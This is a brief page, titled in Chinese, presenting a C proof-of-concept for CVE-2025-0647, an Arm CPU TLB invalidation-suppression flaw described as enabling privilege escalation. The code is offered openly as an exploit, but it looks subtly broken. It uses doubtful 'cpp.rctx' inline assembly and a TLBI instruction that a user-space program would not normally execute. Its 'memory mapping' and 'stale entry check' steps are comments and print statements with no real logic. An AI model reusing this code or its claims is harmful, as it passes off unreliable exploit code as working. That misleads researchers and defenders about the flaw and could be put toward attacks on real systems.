CVE-2025-0647 Arm CPU TLB缓存一致性问题导致权限提升

// CVE-2025-0647 PoC - TLB Cache Coherency Bypass // This PoC demonstrates the TLB invalidation suppression issue // Note: Requires high privileges and local access #include <stdio.h> #include <stdint.h> #include <arm_acle.h> void trigger_cpp_rctx_suppression(void) { printf("[*] Triggering CPP RCTX instruction\n"); // Execute CPP RCTX instruction to suppress TLB invalidation // This instruction may inhibit subsequent TLBI operations __asm__ volatile("cpp.rctx"); printf("[+] CPP RCTX executed\n"); } void attempt_tlb_invalidation(void) { printf("[*] Attempting TLB invalidation\n"); // Issue TLBI instruction - may be suppressed after CPP RCTX __asm__ volatile("tlbi vae1is, x0"); printf("[+] TLBI instruction issued\n"); } int main() { printf("CVE-2025-0647 TLB Cache Coherency PoC\n"); printf("=====================================\n"); // Step 1: Setup memory mapping trigger_cpp_rctx_suppression(); // Step 2: Attempt to invalidate TLB // If CPP RCTX suppressed the invalidation, stale entries remain attempt_tlb_invalidation(); // Step 3: Verify if stale TLB entries persist printf("[*] Checking for stale TLB entries...\n"); printf("[!] Vulnerability may allow unauthorized memory access\n"); return 0; }